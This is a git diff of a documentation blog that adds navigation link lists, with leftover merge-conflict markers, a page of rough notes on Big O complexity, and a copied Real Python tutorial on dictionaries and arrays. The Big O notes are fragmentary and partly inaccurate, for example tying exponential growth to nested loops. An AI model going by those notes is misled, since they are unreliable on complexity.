+    - [📚docs📚/js-tips/insert-into-array](https://bgoonz-blog.netlify.app/docs/js-tips/insert-into-array)
+    - [📚docs📚/js-tips/map](https://bgoonz-blog.netlify.app/docs/js-tips/map)
+    - [📚docs📚/js-tips/object](https://bgoonz-blog.netlify.app/docs/js-tips/object)
+    - [📚docs📚/js-tips/reduce](https://bgoonz-blog.netlify.app/docs/js-tips/reduce)
+    - [📚docs📚/js-tips/regexp](https://bgoonz-blog.netlify.app/docs/js-tips/regexp)
+    - [📚docs📚/js-tips/sort](https://bgoonz-blog.netlify.app/docs/js-tips/sort)
+    - [📚docs📚/js-tips/sorting-strings](https://bgoonz-blog.netlify.app/docs/js-tips/sorting-strings)
+    - [📚docs📚/js-tips/string](https://bgoonz-blog.netlify.app/docs/js-tips/string)
+    - [📚docs📚/js-tips/this](https://bgoonz-blog.netlify.app/docs/js-tips/this)
+    - [📚docs📚/js-tips/var](https://bgoonz-blog.netlify.app/docs/js-tips/var)
+
+</details>
+
+---
+
+<details>
+
+<summary>
+<ins>
+<h6>📚Docs📚 - Leetcode      </h6>
+</ins>
+</summary>
+
+- [📚docs📚/leetcode](https://bgoonz-blog.netlify.app/docs/leetcode)
+    - [📚docs📚/leetcode/ContaineWitMosWater](https://bgoonz-blog.netlify.app/docs/leetcode/ContaineWitMosWater)
+    - [📚docs📚/leetcode/DividTwIntegers](https://bgoonz-blog.netlify.app/docs/leetcode/DividTwIntegers)
+    - [📚docs📚/leetcode/GeneratParentheses](https://bgoonz-blog.netlify.app/docs/leetcode/GeneratParentheses)
+    - [📚docs📚/leetcode/LetteCombinationoPhonNumber](https://bgoonz-blog.netlify.app/docs/leetcode/LetteCombinationoPhonNumber)
+    - [📚docs📚/leetcode/LongesCommoPrefix](https://bgoonz-blog.netlify.app/docs/leetcode/LongesCommoPrefix)
+    - [📚docs📚/leetcode/MediaoTwSorteArrays](https://bgoonz-blog.netlify.app/docs/leetcode/MediaoTwSorteArrays)
+    - [📚docs📚/leetcode/NexPermutation](https://bgoonz-blog.netlify.app/docs/leetcode/NexPermutation)
+    - [📚docs📚/leetcode/PalindromNumber](https://bgoonz-blog.netlify.app/docs/leetcode/PalindromNumber)
+    - [📚docs📚/leetcode/RegulaExpressioMatching](https://bgoonz-blog.netlify.app/docs/leetcode/RegulaExpressioMatching)
+    - [📚docs📚/leetcode/RemovDuplicatefroSorteArray](https://bgoonz-blog.netlify.app/docs/leetcode/RemovDuplicatefroSorteArray)
+    - [📚docs📚/leetcode/RemovNtNodFroEnoList](https://bgoonz-blog.netlify.app/docs/leetcode/RemovNtNodFroEnoList)
+    - [📚docs📚/leetcode/RomatInteger](https://bgoonz-blog.netlify.app/docs/leetcode/RomatInteger)
+    - [📚docs📚/leetcode/SearciRotateSorteArray](https://bgoonz-blog.netlify.app/docs/leetcode/SearciRotateSorteArray)
+    - [📚docs📚/leetcode/StrintIntege(atoi)](<https://bgoonz-blog.netlify.app/docs/leetcode/StrintIntege(atoi)>)
+    - [📚docs📚/leetcode/ValiParentheses](https://bgoonz-blog.netlify.app/docs/leetcode/ValiParentheses)
+    - [📚docs📚/leetcode/ZigZaConversion](https://bgoonz-blog.netlify.app/docs/leetcode/ZigZaConversion)
+
+</details>
+
+---
+
+<details>
+
+<summary>
+<ins>
+<h6>📚Docs📚 -  🌊 Overflow     </h6>
+</ins>
+</summary>
+
+- [📚docs📚/overflow](https://bgoonz-blog.netlify.app/docs/overflow)
+  - [📚docs📚/overflow/html-spec](https://bgoonz-blog.netlify.app/docs/overflow/html-spec)
+  - [📚docs📚/overflow/http](https://bgoonz-blog.netlify.app/docs/overflow/http)
+  - [📚docs📚/overflow/install](https://bgoonz-blog.netlify.app/docs/overflow/install)
+  - [📚docs📚/overflow/modules](https://bgoonz-blog.netlify.app/docs/overflow/modules)
+  - [📚docs📚/overflow/node-cli-args](https://bgoonz-blog.netlify.app/docs/overflow/node-cli-args)
+  - [📚docs📚/overflow/node-js-language](https://bgoonz-blog.netlify.app/docs/overflow/node-js-language)
+  - [📚docs📚/overflow/node-package-manager](https://bgoonz-blog.netlify.app/docs/overflow/node-package-manager)
+  - [📚docs📚/overflow/node-repl](https://bgoonz-blog.netlify.app/docs/overflow/node-repl)
+  - [📚docs📚/overflow/node-run-cli](https://bgoonz-blog.netlify.app/docs/overflow/node-run-cli)
+  - [📚docs📚/overflow/nodevsbrowser](https://bgoonz-blog.netlify.app/docs/overflow/nodevsbrowser)
+  - [📚docs📚/overflow/understanding-firebase](https://bgoonz-blog.netlify.app/docs/overflow/understanding-firebase)
+  - [📚docs📚/overflow/v8](https://bgoonz-blog.netlify.app/docs/overflow/v8)
+
+</details>
+
+---
+
+<details>
+
+<summary>
+<ins>
+<h6>📚Docs📚 - Projects  </h6>
+</ins>
+</summary>
+
+- [📚docs📚/projects](https://bgoonz-blog.netlify.app/docs/projects)
+    - [📚docs📚/projects/embeded-websites](https://bgoonz-blog.netlify.app/docs/projects/embeded-websites)
+    - [📚docs📚/projects/list-of-projects](https://bgoonz-blog.netlify.app/docs/projects/list-of-projects)
+    - [📚docs📚/projects/mini-projects](https://bgoonz-blog.netlify.app/docs/projects/mini-projects)
+    - [📚docs📚/projects/mini-projects2](https://bgoonz-blog.netlify.app/docs/projects/mini-projects2)
+    - [📚docs📚/projects/my-websites](https://bgoonz-blog.netlify.app/docs/projects/my-websites)
+
+</details>
+
+---
+
+<details>
+
+<summary>
+<ins>
+<h6>📚Docs📚  - 🐍Python🐍  </h6>
+</ins>
+</summary>
+
+- [📚docs📚/🐍python🐍](https://bgoonz-blog.netlify.app/docs/python)
+    - [📚docs📚/🐍python🐍/at-length](https://bgoonz-blog.netlify.app/docs/python/at-length)
+    - [📚docs📚/🐍python🐍/cheat-sheet](https://bgoonz-blog.netlify.app/docs/python/cheat-sheet)
+    - [📚docs📚/🐍python🐍/comprehensive-guide](https://bgoonz-blog.netlify.app/docs/python/comprehensive-guide)
+    - [📚docs📚/🐍python🐍/examples](https://bgoonz-blog.netlify.app/docs/python/examples)
+    - [📚docs📚/🐍python🐍/flow-control](https://bgoonz-blog.netlify.app/docs/python/flow-control)
+    - [📚docs📚/🐍python🐍/functions](https://bgoonz-blog.netlify.app/docs/python/functions)
+    - [📚docs📚/🐍python🐍/google-sheets-api](https://bgoonz-blog.netlify.app/docs/python/google-sheets-api)
+    - [📚docs📚/🐍python🐍/python-ds](https://bgoonz-blog.netlify.app/docs/python/python-ds)
+    - [📚docs📚/🐍python🐍/intro-for-js-devs](https://bgoonz-blog.netlify.app/docs/python/intro-for-js-devs)
+    - [📚docs📚/🐍python🐍/python-quiz](https://bgoonz-blog.netlify.app/docs/python/python-quiz)
+    - [📚docs📚/🐍python🐍/snippets](https://bgoonz-blog.netlify.app/docs/python/snippets)
+
+</details>
+
+---
+
+<details>
+
+<summary>
+<ins>
+<h6>📚Docs📚  - 📚🏃‍♂️Quick Reference📚🏃‍♂️   </h6>
+</ins>
+</summary>
+
+- [📚docs📚/quick-ref](https://bgoonz-blog.netlify.app/docs/quick-ref)
+    - [📚docs📚/🏃‍♂️📚quick-ref📚🏃‍♂️/Emmet](https://bgoonz-blog.netlify.app/docs/quick-ref/Emmet)
+    - [📚docs📚/🏃‍♂️📚quick-ref📚🏃‍♂️/all-emojis](https://bgoonz-blog.netlify.app/docs/quick-ref/all-emojis)
+    - [📚docs📚/🏃‍♂️📚quick-ref📚🏃‍♂️/create-react-app](https://bgoonz-blog.netlify.app/docs/quick-ref/create-react-app)
+    - [📚docs📚/🏃‍♂️📚quick-ref📚🏃‍♂️/git-bash](https://bgoonz-blog.netlify.app/docs/quick-ref/git-bash)
+    - [📚docs📚/🏃‍♂️📚quick-ref📚🏃‍♂️/git-tricks](https://bgoonz-blog.netlify.app/docs/quick-ref/git-tricks)
+    - [📚docs📚/🏃‍♂️📚quick-ref📚🏃‍♂️/google-firebase](https://bgoonz-blog.netlify.app/docs/quick-ref/google-firebase)
+    - [📚docs📚/🏃‍♂️📚quick-ref📚🏃‍♂️/heroku-error-codes](https://bgoonz-blog.netlify.app/docs/quick-ref/heroku-error-codes)
+    - [📚docs📚/🏃‍♂️📚quick-ref📚🏃‍♂️/installation](https://bgoonz-blog.netlify.app/docs/quick-ref/installation)
+    - [📚docs📚/🏃‍♂️📚quick-ref📚🏃‍♂️/markdown-dropdowns](https://bgoonz-blog.netlify.app/docs/quick-ref/markdown-dropdowns)
+    - [📚docs📚/🏃‍♂️📚quick-ref📚🏃‍♂️/minifiction](https://bgoonz-blog.netlify.app/docs/quick-ref/minifiction)
+    - [📚docs📚/🏃‍♂️📚quick-ref📚🏃‍♂️/new-repo-instructions](https://bgoonz-blog.netlify.app/docs/quick-ref/new-repo-instructions)
+    - [📚docs📚/🏃‍♂️📚quick-ref📚🏃‍♂️/psql-setup](https://bgoonz-blog.netlify.app/docs/quick-ref/psql-setup)
+    - [📚docs📚/🏃‍♂️📚quick-ref📚🏃‍♂️/pull-request-rubric](https://bgoonz-blog.netlify.app/docs/quick-ref/pull-request-rubric)
+    - [📚docs📚/🏃‍♂️📚quick-ref📚🏃‍♂️/quick-links](https://bgoonz-blog.netlify.app/docs/quick-ref/quick-links)
+    - [📚docs📚/🏃‍♂️📚quick-ref📚🏃‍♂️/topRepos](https://bgoonz-blog.netlify.app/docs/quick-ref/topRepos)
+    - [📚docs📚/🏃‍♂️📚quick-ref📚🏃‍♂️/understanding-path](https://bgoonz-blog.netlify.app/docs/quick-ref/understanding-path)
+    - [📚docs📚/🏃‍♂️📚quick-ref📚🏃‍♂️/vscode-themes](https://bgoonz-blog.netlify.app/docs/quick-ref/vscode-themes)
+    - [📚docs📚/⚛️react⚛️/accessibility](https://bgoonz-blog.netlify.app/docs/react/accessibility)
+
+</details>
+
+---
+
+<details>
+
+<summary>
+<ins>
+<h6>📚Docs📚  - ⚛️React⚛️ </h6>
+</ins>
+</summary>
+
+- [📚docs📚/⚛️react⚛️](https://bgoonz-blog.netlify.app/docs/react)
+    - [📚docs📚/⚛️react⚛️/ajax-n-apis](https://bgoonz-blog.netlify.app/docs/react/ajax-n-apis)
+    - [📚docs📚/⚛️react⚛️/cheatsheet](https://bgoonz-blog.netlify.app/docs/react/cheatsheet)
+    - [📚docs📚/⚛️react⚛️/createReactApp](https://bgoonz-blog.netlify.app/docs/react/createReactApp)
+    - [📚docs📚/⚛️react⚛️/demo](https://bgoonz-blog.netlify.app/docs/react/demo)
+    - [📚docs📚/⚛️react⚛️/dont-use-index-as-keys](https://bgoonz-blog.netlify.app/docs/react/dont-use-index-as-keys)
+    - [📚docs📚/⚛️react⚛️/jsx](https://bgoonz-blog.netlify.app/docs/react/jsx)
+    - [📚docs📚/⚛️react⚛️/quiz](https://bgoonz-blog.netlify.app/docs/react/quiz)
+    - [📚docs📚/⚛️react⚛️/react-docs](https://bgoonz-blog.netlify.app/docs/react/react-docs)
+    - [📚docs📚/⚛️react⚛️/react-in-depth](https://bgoonz-blog.netlify.app/docs/react/react-in-depth)
+    - [📚docs📚/⚛️react⚛️/react-patterns-by-usecase](https://bgoonz-blog.netlify.app/docs/react/react-patterns-by-usecase)
+    - [📚docs📚/⚛️react⚛️/react2](https://bgoonz-blog.netlify.app/docs/react/react2)
+    - [📚docs📚/⚛️react⚛️/render-elements](https://bgoonz-blog.netlify.app/docs/react/render-elements)
+
+</details>
+
+---
+
+<details>
+
+<summary>
+<ins>
+<h6>📚Docs📚  -  ※🕮Reference Materials🕮※</h6>
+</ins>
+</summary>
+
+>>>>>>> master
 - [📚docs📚/※reference※](https://bgoonz-blog.netlify.app/docs/reference)
     - [📚docs📚/※🕮reference※🕮/awesome-lists](https://bgoonz-blog.netlify.app/docs/reference/awesome-lists)
     - [📚docs📚/※🕮reference※🕮/awesome-nodejs](https://bgoonz-blog.netlify.app/docs/reference/awesome-nodejs)
@@ -952,3 +1300,13 @@ template: docs
 
     
 
+<<<<<<< HEAD
+=======
+- [📚docs📚/tutorials](https://bgoonz-blog.netlify.app/docs/tutorials)
+    - [📚docs📚/📑tutorials📑/enviorment-setup](https://bgoonz-blog.netlify.app/docs/tutorials/enviorment-setup)
+    - [📚docs📚/📑tutorials📑/get-file-extension](https://bgoonz-blog.netlify.app/docs/tutorials/get-file-extension)
+    - [📚docs📚/📑tutorials📑/get-file-name](https://bgoonz-blog.netlify.app/docs/tutorials/get-file-name)
+
+    
+
+>>>>>>> master
diff --git a/src/pages/docs/ds-algo/big-o/index.md b/src/pages/docs/ds-algo/big-o/index.md
new file mode 100644
index 0000000000..2ec36ac648
--- /dev/null
+++ b/src/pages/docs/ds-algo/big-o/index.md
@@ -0,0 +1,87 @@
+---
+title: Big O
+template: docs
+excerpt: " big picture, broad strokes, not details"
+---
+<!--StartFragment-->
+
+# A Very Quick Guide To Calculating Big O Computational Complexity
+
+# A Very Quick Guide To Calculating Big O Computational Complexity
+
+**Big O**: big picture, broad strokes, not details
+
+![medium blog image](https://miro.medium.com/max/630/0*lte81mEvgEPYXodB.png)
+
+![medium blog image](https://miro.medium.com/max/304/1*5t2u8n1uKhioIzZIXX2zbg.png)
+
+![medium blog image](https://miro.medium.com/max/563/1*HhXmG2cNdg8y4ZCCQGTyuQ.png)
+
+![medium blog image](https://miro.medium.com/max/630/1*ULeXxVCDkF73GwhsxyM_2g.png)![medium blog image](https://miro.medium.com/max/900/1*hkZWlUgFyOSaLD5Uskv0tQ.png)![medium blog image](https://miro.medium.com/max/1115/1*COjzunj0-FsMJ0d7v7Z-6g.png)
+
+For a more complete guide… checkout :
+
+* way we analyze how efficient algorithms are without getting too mired in details
+*
+* can model how much time any function will take given n inputs
+*
+* interested in order of magnitude of number of the exact figure
+* O absorbs all fluff and n = biggest term
+* Big O of 3x^2 +x + 1 = O(n^2)
+
+# Time Complexity
+
+no loops or exit & return = O(1)
+
+0 nested loops = O(n) 1 nested loops = O(n^2) 2 nested loops = O(n^3) 3 nested loops = O(n^4)
+
+**recursive**: as you add more terms, increase in time as you add input diminishes **recursion**: when you define something in terms of itself, a function that calls itself
+
+* used because of ability to maintain state at diffferent levels of recursion
+*
+* inherently carries large footprint
+* every time function called, you add call to stack
+
+**iterative**: use loops instead of recursion (preferred) - favor readability over performance
+
+O(n log(n)) & O(log(n)): dividing/halving
+
+* if code employs recursion/divide-and-conquer strategy
+*
+* what power do i need to power my base to get n
+
+# Time Definitions
+
+* **constant**: does not scale with input, will take same amount of time
+*
+* for any input size n, constant time performs same number of operations every time
+*
+* \*\*logarit
+*
+* function log n grows very slowly, so as n gets longer, number of operations the algorithm needs to perform
+*
+* halving
+*
+* **linear**: increases number of operations it performs as linear function of input size n
+*
+* number of additional operations needed to perform grows in direct proportion to increase in
+*
+* **log-linear**: increases number of operations it performs as log-linear function of input size n
+* looking over every element and doing work on each one
+* **quadratic**: increases number of operations it performs as quadratic function of input size n
+* **exponential**: increases number of operations it performs as exponential function of input size n
+* number of nested loops increases as function of n
+* **polynomial**: as size of input increases, runtime/space used will grow at a faster rate
+* **factorial**: as size of input increases, runtime/space used will grow astronomically even with relatively small inputs
+* **rate of growth**: how fast a function grows with input size
+
+# Space Complexity
+
+* How does the space usage scale/change as input gets very large?
+*
+* What auxiliary space does your algorithm use or is it in place (constant)?
+* Runtime stack space counts as part of space complexity unless told otherwise.
+
+# Data Structures & Algos In JS
+
+<!--EndFragment-->
\ No newline at end of file
diff --git a/src/pages/docs/ds-algo/data-structures-in-python/index.md b/src/pages/docs/ds-algo/data-structures-in-python/index.md
new file mode 100644
index 0000000000..38ad29d69d
--- /dev/null
+++ b/src/pages/docs/ds-algo/data-structures-in-python/index.md
@@ -0,0 +1,508 @@
+---
+title: Data Structures In Python
+template: docs
+excerpt: In this tutorial, you'll learn about Python's data structures. You'll
+  look at several implementations of abstract data types and learn which
+  implementations are best for your specific use cases.
+---
+
+# Common Python Data Structures (Guide) – Real Python
+
+
+
+
+---
+## Dictionaries, Maps, and Hash Tables
+In Python, **dictionaries(or dicts for short) are a central data structure. Dicts store an arbitrary number of objects, each identified by a unique dictionary**  **key**.
+
+Dictionaries are also often called **maps**, **hashmaps**, **lookup tables**, or **associative arrays**. They allow for the efficient lookup, insertion, and deletion of any object associated with a given key.
+
+Phone books make a decent real-world analog for dictionary objects. They allow you to quickly retrieve the information (phone number) associated with a given key (a person’s name). Instead of having to read a phone book front to back to find someone’s number, you can jump more or less directly to a name and look up the associated information.
+
+This analogy breaks down somewhat when it comes to _how_ the information is organized to allow for fast lookups. But the fundamental performance characteristics hold. Dictionaries allow you to quickly find the information associated with a given key.
+
+Dictionaries are one of the most important and frequently used data structures in computer science. So, how does Python handle dictionaries? Let’s take a tour of the dictionary implementations available in core Python and the Python standard library.
+
+
+
+
+
+
+### `dict`: Your Go-To Dictionary
+
+Because dictionaries are so important, Python features a robust dictionary implementation that’s built directly into the core language: the [`dict`](https://docs.python.org/3/library/stdtypes.html#mapping-types-dict) data type.
+
+Python also provides some useful **syntactic sugar** for working with dictionaries in your programs. For example, the curly-brace ({ }) dictionary expression syntax and [dictionary comprehensions](https://realpython.com/iterate-through-dictionary-python/#using-comprehensions) allow you to conveniently define new dictionary objects:
+
+```py
+ phonebook = {
+...     "bob": 7387,
+...     "alice": 3719,
+...     "jack": 7052,
+... }
+
+ squares = {x: x * x for x in range(6)}
+
+ phonebook["alice"]
+3719
+
+ squares
+{0: 0, 1: 1, 2: 4, 3: 9, 4: 16, 5: 25}
+
+```
+
+There are some restrictions on which objects can be used as valid keys.
+
+Python’s dictionaries are indexed by keys that can be of any [hashable](https://docs.python.org/3/glossary.html#term-hashable) type. A **hashable** object has a hash value that never changes during its lifetime (see `__hash__`), and it can be compared to other objects (see `__eq__`). Hashable objects that compare as equal must have the same hash value.
+
+[**Immutable** types](https://realpython.com/courses/immutability-python/) like [strings](https://realpython.com/python-strings/) and [numbers](https://realpython.com/python-data-types/) are hashable and work well as dictionary keys. You can also use [`tuple` objects](https://realpython.com/python-lists-tuples/#python-tuples) as dictionary keys as long as they contain only hashable types themselves.
+
+For most use cases, Python’s built-in dictionary implementation will do everything you need. Dictionaries are highly optimized and underlie many parts of the language. For example, [class attributes](https://realpython.com/python-scope-legb-rule/#class-and-instance-attributes-scope) and variables in a [stack frame](https://en.wikipedia.org/wiki/Call_stack#Structure) are both stored internally in dictionaries.
+
+Python dictionaries are based on a well-tested and finely tuned [hash table](https://realpython.com/python-hash-table/) implementation that provides the performance characteristics you’d expect: _O_(1) time complexity for lookup, insert, update, and delete operations in the average case.
+
+There’s little reason not to use the standard `dict` implementation included with Python. However, specialized third-party dictionary implementations exist, such as [skip lists](https://en.wikipedia.org/wiki/Skip_list) or [B-tree–based](https://en.wikipedia.org/wiki/B-tree) dictionaries.
+
+Besides plain `dict` objects, Python’s standard library also includes a number of specialized dictionary implementations. These specialized dictionaries are all based on the built-in dictionary class (and share its performance characteristics) but also include some additional convenience features.
+
+Let’s take a look at them.
+
+### `collections.OrderedDict`: Remember the Insertion Order of Keys[](#collectionsordereddict-remember-the-insertion-order-of-keys "Permanent link")
+
+Python includes a specialized `dict` subclass that remembers the insertion order of keys added to it: [`collections.OrderedDict`](https://realpython.com/python-ordereddict/).
+
+**Note:** `OrderedDict` is not a built-in part of the core language and must be imported from the `collections` module in the standard library.
+
+While standard `dict` instances preserve the insertion order of keys in CPython 3.6 and above, this was simply a [side effect](https://mail.python.org/pipermail/python-dev/2016-September/146327.html) of the CPython implementation and was not defined in the language spec until Python 3.7. So, if key order is important for your algorithm to work, then it’s best to communicate this clearly by explicitly using the `OrderedDict` class:
+
+```py
+ import collections
+ d = collections.OrderedDict(one=1, two=2, three=3)
+
+ d
+OrderedDict([('one', 1), ('two', 2), ('three', 3)])
+
+ d["four"] = 4
+ d
+OrderedDict([('one', 1), ('two', 2),
+             ('three', 3), ('four', 4)])
+
+ d.keys()
+odict_keys(['one', 'two', 'three', 'four'])
+
+```
+
+Until [Python 3.8](https://realpython.com/python38-new-features/), you couldn’t iterate over dictionary items in reverse order using `reversed()`. Only `OrderedDict` instances offered that functionality. Even in Python 3.8, `dict` and `OrderedDict` objects aren’t exactly the same. `OrderedDict` instances have a [`.move_to_end()` method](https://realpython.com/python-data-types/) that is unavailable on plain `dict` instance, as well as a more customizable [`.popitem()` method](https://docs.python.org/3/library/collections.html#collections.OrderedDict.popitem) than the one plain `dict` instances.
+
+### `collections.defaultdict`: Return Default Values for Missing Keys[](#collectionsdefaultdict-return-default-values-for-missing-keys "Permanent link")
+
+The [`defaultdict`](https://docs.python.org/3/library/collections.html#collections.defaultdict) class is another dictionary subclass that accepts a callable in its constructor whose return value will be used if a requested key cannot be found.
+
+This can save you some typing and make your intentions clearer as compared to using `get()` or catching a [`KeyError` exception](https://realpython.com/python-keyerror/) in regular dictionaries:
+
+```py
+ from collections import defaultdict
+ dd = defaultdict(list)
+
+ # Accessing a missing key creates it and
+ # initializes it using the default factory,
+ # i.e. list() in this example:
+ dd["dogs"].append("Rufus")
+ dd["dogs"].append("Kathrin")
+ dd["dogs"].append("Mr Sniffles")
+
+ dd["dogs"]
+['Rufus', 'Kathrin', 'Mr Sniffles']
+
+```
+
+[![](https://img.realpython.net/c34848d05efe728b284c7a87c7fcd5c9)](https://srv.realpython.net/click/33172000876/?c=43772654581&p=58946116052&r=75987)
+
+[Remove ads](https://realpython.com/account/join/)
+
+### `collections.ChainMap`: Search Multiple Dictionaries as a Single Mapping[](#collectionschainmap-search-multiple-dictionaries-as-a-single-mapping "Permanent link")
+
+The [`collections.ChainMap`](https://docs.python.org/3/library/collections.html#collections.ChainMap) data structure groups multiple dictionaries into a single mapping. Lookups search the underlying mappings one by one until a key is found. Insertions, updates, and deletions only affect the first mapping added to the chain:
+
+```py
+ from collections import ChainMap
+ dict1 = {"one": 1, "two": 2}
+ dict2 = {"three": 3, "four": 4}
+ chain = ChainMap(dict1, dict2)
+
+ chain
+ChainMap({'one': 1, 'two': 2}, {'three': 3, 'four': 4})
+
+ # ChainMap searches each collection in the chain
+ # from left to right until it finds the key (or fails):
+ chain["three"]
+3
+ chain["one"]
+1
+ chain["missing"]
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+KeyError: 'missing'
+
+```
+
+### `types.MappingProxyType`: A Wrapper for Making Read-Only Dictionaries[](#typesmappingproxytype-a-wrapper-for-making-read-only-dictionaries "Permanent link")
+
+[`MappingProxyType`](https://docs.python.org/3/library/types.html#types.MappingProxyType) is a wrapper around a standard dictionary that provides a read-only view into the wrapped dictionary’s data. This class was added in Python 3.3 and can be used to create immutable proxy versions of dictionaries.
+
+`MappingProxyType` can be helpful if, for example, you’d like to return a dictionary carrying internal state from a class or module while discouraging write access to this object. Using `MappingProxyType` allows you to put these restrictions in place without first having to create a full copy of the dictionary:
+
+```py
+ from types import MappingProxyType
+ writable = {"one": 1, "two": 2}
+ read_only = MappingProxyType(writable)
+
+ # The proxy is read-only:
+ read_only["one"]
+1
+ read_only["one"] = 23
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: 'mappingproxy' object does not support item assignment
+
+ # Updates to the original are reflected in the proxy:
+ writable["one"] = 42
+ read_only
+mappingproxy({'one': 42, 'two': 2})
+
+```
+
+### Dictionaries in Python: Summary[](#dictionaries-in-python-summary "Permanent link")
+
+All the Python dictionary implementations listed in this tutorial are valid implementations that are built into the Python standard library.
+
+If you’re looking for a general recommendation on which mapping type to use in your programs, I’d point you to the built-in `dict` data type. It’s a versatile and optimized hash table implementation that’s built directly into the core language.
+
+I would recommend that you use one of the other data types listed here only if you have special requirements that go beyond what’s provided by `dict`.
+
+All the implementations are valid options, but your code will be clearer and easier to maintain if it relies on standard Python dictionaries most of the time.
+
+## Array Data Structures[](#array-data-structures "Permanent link")
+
+An **array** is a fundamental data structure available in most programming languages, and it has a wide range of uses across different algorithms.
+
+In this section, you’ll take a look at array implementations in Python that use only core language features or functionality that’s included in the Python standard library. You’ll see the strengths and weaknesses of each approach so you can decide which implementation is right for your use case.
+
+But before we jump in, let’s cover some of the basics first. How do arrays work, and what are they used for? Arrays consist of fixed-size data records that allow each element to be efficiently located based on its index:
+
+[![Visual representation of an array](https://files.realpython.com/media/python-linked-list-array-visualization.5b9f4c4040cb.jpeg)](https://files.realpython.com/media/python-linked-list-array-visualization.5b9f4c4040cb.jpeg)
+
+Because arrays store information in adjoining blocks of memory, they’re considered **contiguous** data structures (as opposed to **linked** data structures like linked lists, for example).
+
+A real-world analogy for an array data structure is a parking lot. You can look at the parking lot as a whole and treat it as a single object, but inside the lot there are parking spots indexed by a unique number. Parking spots are containers for vehicles—each parking spot can either be empty or have a car, a motorbike, or some other vehicle parked on it.
+
+But not all parking lots are the same. Some parking lots may be restricted to only one type of vehicle. For example, a motor home parking lot wouldn’t allow bikes to be parked on it. A restricted parking lot corresponds to a **typed** array data structure that allows only elements that have the same data type stored in them.
+
+Performance-wise, it’s very fast to look up an element contained in an array given the element’s index. A proper array implementation guarantees a constant _O_(1) access time for this case.
+
+Python includes several array-like data structures in its standard library that each have slightly different characteristics. Let’s take a look.
+
+
+
+
+
+
+### `list`: Mutable Dynamic Arrays[](#list-mutable-dynamic-arrays "Permanent link")
+
+[Lists](https://docs.python.org/3.6/library/stdtypes.html#lists) are a part of the core Python language. Despite their name, Python’s lists are implemented as **dynamic arrays** behind the scenes.
+
+This means a list allows elements to be added or removed, and the list will automatically adjust the backing store that holds these elements by allocating or releasing memory.
+
+Python lists can hold arbitrary elements—everything is an object in Python, including functions. Therefore, you can mix and match different kinds of data types and store them all in a single list.
+
+This can be a powerful feature, but the downside is that supporting multiple data types at the same time means that data is generally less tightly packed. As a result, the whole structure takes up more space:
+
+```py
+ arr = ["one", "two", "three"]
+ arr[0]
+'one'
+
+ # Lists have a nice repr:
+ arr
+['one', 'two', 'three']
+
+ # Lists are mutable:
+ arr[1] = "hello"
+ arr
+['one', 'hello', 'three']
+
+ del arr[1]
+ arr
+['one', 'three']
+
+ # Lists can hold arbitrary data types:
+ arr.append(23)
+ arr
+['one', 'three', 23]
+
+```
+
+### `tuple`: Immutable Containers[](#tuple-immutable-containers "Permanent link")
+
+Just like lists, [tuples](https://docs.python.org/3/library/stdtypes.html#tuple) are part of the Python core language. Unlike lists, however, Python’s `tuple` objects are immutable. This means elements can’t be added or removed dynamically—all elements in a tuple must be defined at creation time.
+
+Tuples are another data structure that can hold elements of arbitrary data types. Having this flexibility is powerful, but again, it also means that data is less tightly packed than it would be in a typed array:
+
+```py
+ arr = ("one", "two", "three")
+ arr[0]
+'one'
+
+ # Tuples have a nice repr:
+ arr
+('one', 'two', 'three')
+
+ # Tuples are immutable:
+ arr[1] = "hello"
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: 'tuple' object does not support item assignment
+
+ del arr[1]
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: 'tuple' object doesn't support item deletion
+
+ # Tuples can hold arbitrary data types:
+ # (Adding elements creates a copy of the tuple)
+ arr + (23,)
+('one', 'two', 'three', 23)
+
+```
+
+### `array.array`: Basic Typed Arrays[](#arrayarray-basic-typed-arrays "Permanent link")
+
+Python’s `array` module provides space-efficient storage of basic C-style data types like bytes, 32-bit integers, floating-point numbers, and so on.
+
+Arrays created with the [`array.array`](https://docs.python.org/3/library/array.html) class are mutable and behave similarly to lists except for one important difference: they’re **typed arrays** constrained to a single data type.
+
+Because of this constraint, `array.array` objects with many elements are more space efficient than lists and tuples. The elements stored in them are tightly packed, and this can be useful if you need to store many elements of the same type.
+
+Also, arrays support many of the same methods as regular lists, and you might be able to use them as a drop-in replacement without requiring other changes to your application code.
+
+```py
+ import array
+ arr = array.array("f", (1.0, 1.5, 2.0, 2.5))
+ arr[1]
+1.5
+
+ # Arrays have a nice repr:
+ arr
+array('f', [1.0, 1.5, 2.0, 2.5])
+
+ # Arrays are mutable:
+ arr[1] = 23.0
+ arr
+array('f', [1.0, 23.0, 2.0, 2.5])
+
+ del arr[1]
+ arr
+array('f', [1.0, 2.0, 2.5])
+
+ arr.append(42.0)
+ arr
+array('f', [1.0, 2.0, 2.5, 42.0])
+
+ # Arrays are "typed":
+ arr[1] = "hello"
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: must be real number, not str
+
+```
+
+### `str`: Immutable Arrays of Unicode Characters[](#str-immutable-arrays-of-unicode-characters "Permanent link")
+
+Python 3.x uses [`str`](https://docs.python.org/3/library/stdtypes.html#text-sequence-type-str) objects to store textual data as immutable sequences of [Unicode characters](https://realpython.com/python-encodings-guide/). Practically speaking, that means a `str` is an immutable array of characters. Oddly enough, it’s also a [recursive](https://realpython.com/python-thinking-recursively/) data structure—each character in a string is itself a `str` object of length 1.
+
+String objects are space efficient because they’re tightly packed and they specialize in a single data type. If you’re storing Unicode text, then you should use a string.
+
+Because strings are immutable in Python, modifying a string requires creating a modified copy. The closest equivalent to a mutable string is storing individual characters inside a list:
+
+```py
+ arr = "abcd"
+ arr[1]
+'b'
+
+ arr
+'abcd'
+
+ # Strings are immutable:
+ arr[1] = "e"
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: 'str' object does not support item assignment
+
+ del arr[1]
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: 'str' object doesn't support item deletion
+
+ # Strings can be unpacked into a list to
+ # get a mutable representation:
+ list("abcd")
+['a', 'b', 'c', 'd']
+ "".join(list("abcd"))
+'abcd'
+
+ # Strings are recursive data structures:
+ type("abc")
+"<class 'str'>"
+ type("abc"[0])
+"<class 'str'>"
+
+```
+
+
+
+### `bytes`: Immutable Arrays of Single Bytes[](#bytes-immutable-arrays-of-single-bytes "Permanent link")
+
